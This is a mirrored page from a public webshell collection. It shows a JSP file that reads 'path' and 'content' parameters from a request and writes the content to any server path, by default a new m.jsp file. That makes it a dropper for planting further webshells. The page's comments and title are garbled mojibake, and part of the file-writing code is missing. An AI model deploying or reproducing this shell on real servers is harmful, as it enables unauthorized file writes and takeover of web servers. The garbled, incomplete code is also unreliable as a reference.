mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
42 lines
2.5 KiB
Text
42 lines
2.5 KiB
Text
|
<%@ page language="java" pageEncoding="UTF-8"%>
|
|||
|
<%@ page contentType="text/html;charset=UTF-8"%>
|
|||
|
<%@ page import="java.io.*"%>
|
|||
|
<html>
|
|||
|
<head>
|
|||
|
<title>jsp<73>0<EFBFBD>2<EFBFBD><32><EFBFBD>0<EFBFBD>5<EFBFBD><35><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1 | Mr Fz's<>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>8!<21>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>0<EFBFBD><30><EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4!</title>
|
|||
|
</head>
|
|||
|
<body bgcolor="#ffffff">
|
|||
|
<%
|
|||
|
String damapath=request.getParameter("path");
|
|||
|
String content=request.getParameter("content");
|
|||
|
String url=request.getRequestURI();//<2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<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>3<EFBFBD><33>
|
|||
|
pw.close();//<2F>0<EFBFBD>2<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>6<EFBFBD><36><EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1<EFBFBD><31><EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>6<EFBFBD><36><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>6
|
|||
|
if(damafile.exists()&& damafile.length()>0)//<2F>0<EFBFBD>2<EFBFBD>0<EFBFBD>8<EFBFBD><38><EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>2damafile<6C>0<EFBFBD>2<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>8<EFBFBD><38>,
|
|||
|
{
|
|||
|
out.println("<font size=3 color=red>save ok!</font>");
|
|||
|
}else
|
|||
|
{
|
|||
|
out.println("<font size=3 color=red>save bad!</font>");
|
|||
|
}
|
|||
|
}catch (Exception ex){
|
|||
|
ex.printStackTrace();
|
|||
|
}
|
|||
|
}
|
|||
|
out.println("<form action="+url+" method=post>");
|
|||
|
out.println("<font size=2><3E><><EFBFBD>0<EFBFBD>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4:</font><input type=text size=45 name=path value="+dir+"/m.jsp><br>");
|
|||
|
out.println("<font size=2 color=red><3E>0<EFBFBD>2<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>3<EFBFBD><33><EFBFBD>0<EFBFBD>2<EFBFBD><32><EFBFBD>0<EFBFBD>4<EFBFBD><34><EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4JSP<53>0<EFBFBD>3<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>9<EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>6<EFBFBD><36><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4:"+url1+"</font><br>");
|
|||
|
out.println("<textarea name=content rows=10 cols=50></textarea><br>");
|
|||
|
out.println("<input type=submit value=save>");
|
|||
|
out.println("</form>");
|
|||
|
%>
|
|||
|
</body>
|
|||
|
</html>
|